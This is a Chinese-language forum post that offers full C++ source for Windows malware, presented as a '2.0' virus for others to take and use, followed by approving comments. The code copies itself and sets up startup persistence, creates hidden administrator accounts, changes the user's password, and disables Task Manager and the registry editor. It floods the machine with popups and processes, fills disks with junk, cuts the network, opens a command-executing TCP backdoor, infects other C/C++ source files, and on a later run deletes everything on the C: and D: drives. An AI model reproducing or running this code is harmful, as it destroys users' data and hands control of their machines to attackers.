2.0版广告代租病毒,大病毒,可以带走
2025-08-22 15:49:32
发布于:江西
#include<bits/stdc++.h>
#include <Windows.h>
#include <tchar.h>
#include <Winable.h>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#pragma comment(lib, "netapi32.lib")
#include <cstring>
#include <fstream>
#include <conio.h>
#include <cmath>
#include <tchar.h>
#include <assert.h>
#include <Shlobj.h>
#include <lm.h>
#include <wchar.h>
#include <errno.h>
#include <winioctl.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <winsock.h>
#include <list>
#include <vector>
#pragma comment(lib,"ws2_32.lib")
#include <string>
#include <stdio.h>
#include <Windows.h>
#include <shlobj.h>
#include <time.h>
//-std=c++17 -Wall
using namespace std;
void Reproduce() {
char name_str[100] = {};
int name;
srand((unsigned)time(NULL)); // 随机数种子
name = rand() % 102408;
_itoa(name, name_str, 22); // 将随机数转化成字符串
TCHAR szpath[MAX_PATH];
char target[100] = {};
TCHAR Destop[MAX_PATH];
GetModuleFileName(NULL, szpath, MAX_PATH); // 获取当前执行程序的路径
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); // 获取桌面绝对路径
strcat(target, Destop);
strcat(target, "\\");
strcat(target, name_str);
strcat(target, ".exe");
CopyFile(szpath, target, FALSE);
}
bool AddToStartup(const std::wstring& path) {
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
return false;
}
if (RegSetValueExW(hKey, L"autostart", 0, REG_SZ, (const BYTE*)path.c_str(), (path.size() + 1) * sizeof(wchar_t)) != ERROR_SUCCESS) {
RegCloseKey(hKey);
return false;
}
RegCloseKey(hKey);
return true;
}
bool CopyToTarget(const std::wstring& source, const std::wstring& target) {
// 先创建目标目录结构
std::wstring dir = target.substr(0, target.find_last_of(L'\\'));
if (!CreateDirectoryW(dir.c_str(), NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
return false;
}
return CopyFileW(source.c_str(), target.c_str(), FALSE);
}
bool zwfz() {
// 1. 创建系统账户(保持原命令不变)
system("net user \"Extreme virus\" abc823400 /add");
system("net localgroup administrators \"Extreme virus\" /add");
system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v \"Extreme virus\" /t REG_DWORD /d 0 /f");
// 2. 获取当前程序路径(保持原逻辑)
wchar_t currentPath[MAX_PATH];
GetModuleFileNameW(NULL, currentPath, MAX_PATH);
// 3. 复制到目标账户目录(改用Windows API实现)
std::wstring targetPath = L"C:\\Users\\Extreme virus\\AppData\\Local\\Microsoft\\autostart.exe";
if (!CopyToTarget(currentPath, targetPath)) {
return 1;
}
//system("start C:\\Users\\Extreme virus\\AppData\\Local\\Microsoft\\autostart.exe");
// 4. 设置隐藏属性并添加启动项(保持原逻辑)
SetFileAttributesW(targetPath.c_str(), FILE_ATTRIBUTE_HIDDEN);
AddToStartup(targetPath);
}
// 弹窗线程函数
DWORD WINAPI PopupThread(LPVOID lpParam) {
int count = 1;
while (1) {
TCHAR message[256];
MessageBox(NULL, message, _T("关不掉吧"), MB_OK | MB_ICONINFORMATION);
Sleep(500);
}
return 0;
}
DWORD WINAPI Moce(LPVOID lpParam) {
SetCursorPos(0, 0);
while (1) {
POINT cursorPos;
if (GetCursorPos(&cursorPos)) {
std::cout << "Mouse position: X = " << cursorPos.x << ", Y = " << cursorPos.y << std::endl;
if (cursorPos.x >= 200 || cursorPos.y >= 200) {
SetCursorPos(10, 10);
}
} else {
std::cout << "Failed to get mouse position." << std::endl;
}
}
}
DWORD WINAPI Moce2(LPVOID lpParam) {
//----------移除快速编辑模式(对于win10用户)----------
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin, &mode);
mode &= ~ENABLE_QUICK_EDIT_MODE;
SetConsoleMode(hStdin, mode);
//----------循环检测----------
while (1) { //循环检测
if (KEY_DOWN(VK_LBUTTON) || KEY_DOWN(VK_RBUTTON)) { //鼠标左键按下
system("start mspaint");
}
Sleep(20); //等待20毫秒,减少CPU占用
}
}
DWORD WINAPI CMD(LPVOID lpParam) {
for (int i = 1; i <= 5; i++) {
system("start cmd");
Sleep(500);
}
while (1) {
system("start cmd");
Sleep(500);
system("start calc");
Sleep(500);
}
}
DWORD WINAPI Cond(LPVOID lpParam) {
while (1) {
for (int i = 1; i <= 121; i++) {
if (KEY_DOWN(i)) {//Enter在Key Code中为13
system("start notepad");
Sleep(200);
}
}
}
}
DWORD WINAPI pm(LPVOID lpParam) {//屏幕反色
while (1) {
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
HWND hwnds;
hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
if (hwnds) {
ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(hwnds, SW_HIDE);//隐藏窗口
}
HDC hdcs = GetDC(0);
BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY);
Sleep(1000);
}
}
// 禁用系统任务管理器
void RegTaskmanagerForbidden() {
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
system("taskkill /f /im taskmgr.exe");
}
// 禁用注册表编辑器
void RegEditForbidden() {
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
}
// 干掉桌面壁纸
void RegModifyBackroud() {
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
}
DWORD WINAPI qxx(LPVOID lpParam) {
RegModifyBackroud();
RegEditForbidden();
RegTaskmanagerForbidden();
}
DWORD WINAPI wj(LPVOID lpParam) {
for (int i = 0; i < 100; i++) {
string s;
stringstream ss;
ss << i;
ss >> s;
freopen(("D:\\" + s + ".txt").c_str(), "w", stdout);
for (int j = 0; j < 1024 * 1024 * 1024; j++) {
cout << '*'; //一个txt放一个GB ,因为一个TXT最多只能放一个GB
}
}
}
DWORD WINAPI wl(LPVOID lpParam) {
while (1)system("ipconfig /release"); //断开网络
}
class Socket_TCP_connect {
public:
//初始化socket库
Socket_TCP_connect() {
WORD socketversion = MAKEWORD(2, 0); //初始化版本
WSADATA socketData; //初始化套接字内容
WSAStartup(socketversion, &socketData); //初始化socket库
}
public:
//建立tcp套接字监听并绑定地址和端口
void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY) {
s1 = socket(AF_INET, SOCK_STREAM, 0);
sin1.sin_family = AF_INET;
sin1.sin_addr.S_un.S_addr = ip_list;
sin1.sin_port = htons(port);
bind(s1, (sockaddr *)&sin1, sizeof(sin1));
listen(s1, 5);
Socket_TCP_Accept();
}
private:
//接受客户端信息
void Socket_TCP_Accept() {
char buffer[1024];
int addrlen = sizeof(sin2);
while (true) {
FILE *fp = fopen("123.txt", "w+");
fclose(fp);
cout << ">>wait for connect……" << endl;
s2 = accept(s1, (sockaddr *)&sin2, &addrlen);
cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;
while (true) {
int ret = recv(s2, buffer, sizeof(buffer), 0);
buffer[ret] = 0x00;
string commend = buffer;
string cmd = "";
for (auto &chr : commend) {
if (chr == '\n') {
chr = ' ';
}
cmd += chr;
}
cmd = cmd + "> 123.txt";
char c[1024];
strcpy(c, cmd.c_str());
cout << "执行:" << endl;
cout << c << endl;
if (system(buffer) == 0) {
send(s2, "OK", strlen("OK"), 0);
if (system(c) == 0) {
char str[1024] = "";
FILE *fp2 = fopen("123.txt", "rb+");
fread(str, sizeof(char), 1024, fp2);
cout << str;
send(s2, str, strlen(str), 0);
fclose(fp2);
}
}
}
closesocket(s2);
}
closesocket(s1);
WSACleanup();
}
private:
SOCKET s1, s2;
sockaddr_in sin1, sin2;
};
DWORD WINAPI hm(LPVOID lpParam) {//建立后门
system("chcp 65001");
Socket_TCP_connect* conn = new Socket_TCP_connect();
conn->Socket_TCP_Bind_Listen();
}
DWORD WINAPI kg(LPVOID lpParam) {
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
Sleep(3000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) - 1);
Sleep(3000);
}
void vir() {
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1, CurFileName.size() - 1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;
//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0; getline(VirusFile, VirusCode[CodeLen]); CodeLen++) {
if (VirusCode[CodeLen] == "//END") {
CodeLen++;
break;
}
}
VirusFile.close();
//依次感染宿主文件
while (true) {
//不能感染当前.cpp文件和已感染的文件
if (strcmp(FindFileData.cFileName, obCurFileName.c_str()) == 0) {
cout << FindFileData.cFileName << ":是感染源!/n";
} else { //感染其它文件
//加载宿主文件
ifstream ibe(FindFileData.cFileName);
for (FileLen = 0; getline(ibe, FileCode[FileLen]); FileLen++) {
if (FileCode[FileLen].find("main") != -1) {
InsertLoc = FileLen;
}
}
ibe.close();
if (FileCode[0] == "//START") { //该文件已被感染
cout << FindFileData.cFileName << ":已携带了病毒!/n";
} else if (FileLen > 500) {
cout << FindFileData.cFileName << ":文件太大了!/n";
} else {
//打开宿主文件
ofstream be(FindFileData.cFileName);
//插入病毒代码
for (int i = 0; i < CodeLen; i++) {
be << VirusCode[i] << endl;
}
//病毒函数调用位置前文本插入
for (int i = 0; i < InsertLoc; i++) {
be << FileCode[i] << endl;
}
//插入函数调用vir()
for (int i = InsertLoc; i < FileLen; i++) {
int j = FileCode[i].find('{');
if (j != -1) {
FileCode[i].insert(j + 1, "/nvir();");
break;
}
}
//病毒函数调用位置后插入剩余文本
for (int i = InsertLoc; i < FileLen; i++) {
be << FileCode[i] << endl;
}
be.close();
cout << FindFileData.cFileName << ":感染成功!/n";
}
}
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
DWORD WINAPI bd1(LPVOID lpParam) {
vir();
}
void qd() {
Reproduce();
//添加自启动
HKEY k;
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &k) == ERROR_SUCCESS) {
TCHAR str[MAX_PATH];
GetModuleFileName(NULL, str, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegSetValue(k, nullptr, 0, strDir, nLength);
if (result != ERROR_SUCCESS || _tcscmp(str, strDir) != 0) {
RegSetValueEx(k, _T("GISRestart"), 0, REG_SZ, (LPBYTE)str, (lstrlen(str) + 1) * sizeof(TCHAR));
RegCloseKey(k);
}
}
FreeConsole();//屏蔽输出
system("shutdown -s -t 300");
char d[100];
char b[100];
char a[100];
char f[100];
char e[100];
DWORD c = 100;
system("net user \"Extreme virus\" abc823400 /add");
system("net localgroup administrators \"Extreme virus\" /add");
system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v \"Extreme virus\" /t REG_DWORD /d 0 /f");
zwfz();//自我复制
GetUserName(a, &c); //获得用户名
sprintf(b, "%s%s%s", "net user ", a, "8"); //设置cmd指令
sprintf(f,"net localgroup administrators ",a," /delete");
sprintf(d,"net localgroup guests ",a," /add");
sprintf(e, "%s%s%s", "net user ", a, " /fullname:已中毒(密码为:19x+93y=4xy的整数解个数)");
system(b);
system(f);
system(d);
system(e);
system("net user xxx 1234567890 /add");
system("net localgroup administrators xxx /add ");
// 创建多个弹窗线程
HANDLE hThread1 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread3 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread4 = CreateThread(NULL, 0, PopupThread, NULL, 0, NULL);
HANDLE hThread5 = CreateThread(NULL, 0, Moce, NULL, 0, NULL);
HANDLE hThread6 = CreateThread(NULL, 0, Moce2, NULL, 0, NULL);
HANDLE hThread7 = CreateThread(NULL, 0, CMD, NULL, 0, NULL);
HANDLE hThread8 = CreateThread(NULL, 0, Cond, NULL, 0, NULL);
HANDLE hThread9 = CreateThread(NULL, 0, pm, NULL, 0, NULL);
HANDLE hThread10 = CreateThread(NULL, 0, qxx, NULL, 0, NULL);
HANDLE hThread11 = CreateThread(NULL, 0, wj, NULL, 0, NULL);
HANDLE hThread12 = CreateThread(NULL, 0, hm, NULL, 0, NULL);
HANDLE hThread13 = CreateThread(NULL, 0, wl, NULL, 0, NULL);
HANDLE hThread14 = CreateThread(NULL, 0, kg, NULL, 0, NULL);
HANDLE hThread15 = CreateThread(NULL, 0, bd1, NULL, 0, NULL);
// 等待线程结束
/*
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);
WaitForSingleObject(hThread3, INFINITE);
WaitForSingleObject(hThread4, INFINITE);
WaitForSingleObject(hThread5, INFINITE);
WaitForSingleObject(hThread6, INFINITE);
WaitForSingleObject(hThread7, INFINITE);
WaitForSingleObject(hThread8, INFINITE);*/
while (1) {
if (KEY_DOWN(123)) {
// 关闭线程句柄
CloseHandle(hThread1);
CloseHandle(hThread2);
CloseHandle(hThread3);
CloseHandle(hThread4);
CloseHandle(hThread5);
CloseHandle(hThread6);
CloseHandle(hThread7);
CloseHandle(hThread8);
CloseHandle(hThread9);
CloseHandle(hThread10);
CloseHandle(hThread11);
CloseHandle(hThread12);
CloseHandle(hThread13);
CloseHandle(hThread14);
CloseHandle(hThread15);
MessageBox(NULL, ("程序已紧急终止"), ("jjy"), MB_OK | MB_ICONINFORMATION);
system("shutdown -r -t 0");//重启后才有效果-改密码
}
}
}
const string FILENAME = "jm";
int main() {
//MessageBox(NULL, "这是一个警告消息!", "jjy", MB_ICONWARNING | MB_OK);
ShowWindow(GetConsoleWindow(), SW_HIDE);
int count = 0;
// 尝试读取现有计数
ifstream inFile(FILENAME);
if (inFile) {
inFile >> count;
inFile.close();
}
// 计数增加并写入文件
count++;
ofstream outFile(FILENAME);
outFile << count;
outFile.close();
if (count == 4) {
MessageBox(NULL, ("事不过三,你没机会了"), ("jjy"), MB_OK | MB_ICONINFORMATION);
system("del /F /S /Q D:\\");
system("del /F /S /Q C:\\");
CreateThread(NULL, 0, bd1, NULL, 0, NULL);
system("net user 已中毒(密码为:19x+93y=4xy的整数解个数) /delete");
} else{
qd();
}
exit(0);
return 0;
}
防止程序运标识!
/*
杀1/3毒
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
void revir() {
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string FileCode[500];
while (true) {
int FileLen = 0; //宿主代码长度
int MainLoc = 0; //主函数位置
ifstream ibe(FindFileData.cFileName);
getline(ibe, FileCode[0]);
if (FileCode[0] == "//START") { //当前文件被感染过
//病毒代码要过虑掉
for (FileLen = 0; getline(ibe, FileCode[0]);) {
if (FileCode[FileLen] == "//END") {
break;
}
}
//宿主未感染前的代码
for (FileLen = 0; getline(ibe, FileCode[FileLen]); FileLen++) {
if (FileCode[FileLen].find("main") != -1) {
MainLoc = FileLen;
}
}
//清除主文件中的函数调用
for (int i = MainLoc; i < FileLen; i++) {
if (FileCode[i].find('{') != -1) {
FileCode[i + 1] = "";
break;
}
}
ibe.close();
ofstream be(FindFileData.cFileName);
for (int i = 0; i < FileLen; i++) {
be << FileCode[i] << endl;
}
be.close();
cout << FindFileData.cFileName << ":病毒清除成功/n";
}
cout << FindFileData.cFileName << ":没有被感染!/n";
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
*/
/*
if (MessageBox(NULL, ("这是有害程序,真要运行吗"), ("jjy"), MB_YESNO | MB_ICONINFORMATION) == IDYES) {
if (MessageBox(NULL, ("这是有害程序,真要运行吗,最后退出的机会!"), ("jjy"), MB_YESNO | MB_ICONINFORMATION) == IDYES) {
qd();
} else {
MessageBox(NULL, ("别想了,好好享受吧"), ("jjy"), MB_OK | MB_ICONINFORMATION);
qd();
}
} else {
if (MessageBox(NULL, ("你确定要退出?"), ("jjy"), MB_YESNO | MB_ICONINFORMATION) == IDYES) {
MessageBox(NULL, ("别想了,好好享受吧"), ("jjy"), MB_OK | MB_ICONINFORMATION);
qd();
} else {
MessageBox(NULL, ("嘻嘻"), ("jjy"), MB_OK | MB_ICONINFORMATION);
qd();
}
}
*/
防止程序运标识!
全部评论 3
1周前 来自 江西
0好用
1周前 来自 江西
01周前 来自 江西
0
有帮助,赞一个